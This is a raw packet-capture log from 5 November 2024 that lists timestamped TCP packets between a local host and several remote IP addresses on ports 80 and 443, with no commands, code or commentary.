Nov 5, 2024 10:13:54.074285030 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.074302912 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.074795008 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.074857950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.074858904 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.074870110 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.074902058 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.074917078 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.074955940 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.075012922 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075054884 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.075079918 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075090885 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075100899 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075123072 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.075151920 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.075557947 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075570107 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075581074 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075623035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.075635910 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.075678110 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075689077 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075732946 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.075735092 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075754881 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.075793982 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.075822115 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.075836897 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.075875998 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.075885057 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.075896025 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.075922012 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.076149940 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.076160908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.076189041 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.076200008 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.076221943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.076234102 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.076240063 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.076245070 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.076247931 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.076263905 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.076270103 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.076298952 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.076302052 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.076463938 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.076472998 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.116501093 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.116518974 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.116530895 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.116566896 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.116616011 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.116786957 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.116800070 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.116812944 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.116832018 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.116842031 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.117006063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117024899 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117036104 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117048025 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117059946 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.117060900 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117072105 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117080927 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.117101908 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.117129087 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.117368937 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117388964 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117434025 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.117438078 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117449999 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.117486000 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.159125090 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.159147024 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.159157038 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.159198999 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.192059994 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192115068 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.192150116 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192161083 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192200899 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.192235947 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192248106 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192259073 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192270041 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192282915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192284107 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.192308903 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.192320108 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.192724943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192774057 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.192846060 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192857981 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192869902 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192879915 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.192881107 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.192900896 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.192941904 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.193248034 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.193260908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.193273067 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.193299055 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.193316936 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.193325996 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.193329096 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.193356037 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.193366051 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.214601040 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.215344906 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.215367079 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.216352940 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.216419935 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.219022989 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.219080925 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.219516039 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.219523907 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.234117031 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234157085 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234172106 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234220028 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234231949 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234244108 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234246969 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.234246969 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.234256029 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234276056 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.234293938 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.234688997 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234699965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234725952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234735966 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234739065 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.234747887 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234756947 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234770060 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234778881 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.234872103 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.234895945 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.235171080 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.235183001 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.235223055 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.235289097 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.235359907 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.235862017 CET	50026	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:54.235873938 CET	443	50026	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:54.235975027 CET	50026	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:54.236354113 CET	50026	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:54.236365080 CET	443	50026	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:54.262535095 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.263029099 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.263047934 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.263816118 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.263822079 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.263878107 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.263885975 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.267796040 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.277475119 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.277585030 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.277699947 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.277710915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.277755022 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.289875984 CET	50027	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.289916992 CET	443	50027	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.290040970 CET	50027	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.290195942 CET	50028	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.290220976 CET	443	50028	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.290294886 CET	50028	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.290406942 CET	50027	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.290421963 CET	443	50027	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.290694952 CET	50028	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.290714979 CET	443	50028	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.291076899 CET	50029	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:54.291111946 CET	443	50029	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:54.291232109 CET	50029	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:54.291524887 CET	50029	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:54.291538954 CET	443	50029	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:54.292807102 CET	50030	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:54.292836905 CET	443	50030	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:54.292886972 CET	50030	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:54.293471098 CET	50030	443	192.168.2.5	204.79.197.219
Nov 5, 2024 10:13:54.293486118 CET	443	50030	204.79.197.219	192.168.2.5
Nov 5, 2024 10:13:54.309523106 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.309585094 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.309613943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.309624910 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.309636116 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.309648037 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.309663057 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.309664965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.309676886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.309689045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.309693098 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.309700966 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.309709072 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.309736967 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.310050964 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.310060978 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.310076952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.310098886 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.310111046 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.310292959 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.310311079 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.310321093 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.310357094 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.310376883 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.310564041 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.310575962 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.310586929 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.310602903 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.310628891 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.351197004 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351213932 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351222992 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351243973 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.351265907 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.351406097 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351416111 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351425886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351454020 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.351486921 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.351541996 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351603985 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351615906 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351639986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.351664066 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.351723909 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351733923 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.351768970 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.352154970 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352165937 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352175951 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352202892 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.352229118 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.352289915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352303982 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352343082 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.352602959 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352648020 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352658987 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352669001 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352669001 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.352683067 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.352698088 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.352724075 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.353820086 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.355422020 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.356853962 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:54.356863022 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.357300997 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.357853889 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.358726978 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.358736038 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.359071016 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.360922098 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.369133949 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.369149923 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.369400024 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:54.369513988 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.369534969 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.369700909 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.369781971 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.369929075 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.369939089 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.370604038 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.370691061 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.370929003 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:54.370953083 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.371001959 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.371143103 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.371480942 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.371536970 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.371607065 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.371807098 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.371813059 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.382405996 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:54.388082981 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.388559103 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.388612986 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.389452934 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:54.389463902 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:54.390513897 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:54.390568018 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:54.391902924 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:54.391967058 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:54.392118931 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:54.392127037 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:54.394336939 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.394357920 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.394368887 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.394387007 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.394407034 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.411329031 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.411334038 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:54.413192034 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.413427114 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:54.413445950 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:54.415333986 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.426896095 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.426915884 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.426928043 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.426975965 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.426984072 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.426995993 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427032948 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.427042007 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.427054882 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427066088 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427100897 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.427104950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427123070 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427134037 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427159071 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.427176952 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.427275896 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:54.427301884 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:54.427392006 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:54.427635908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427648067 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427663088 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427690983 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.427709103 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427720070 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.427721024 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.427750111 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.427759886 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.427772045 CET	50032	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:54.427792072 CET	443	50032	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:54.427851915 CET	50032	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:54.427979946 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.428020000 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.428035975 CET	50031	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:54.428050995 CET	443	50031	23.198.7.177	192.168.2.5
Nov 5, 2024 10:13:54.428078890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.428090096 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.428122044 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.428133011 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.428152084 CET	50032	443	192.168.2.5	23.198.7.177
Nov 5, 2024 10:13:54.428164959 CET	443	50032	23.198.7.177	192.168.2.5
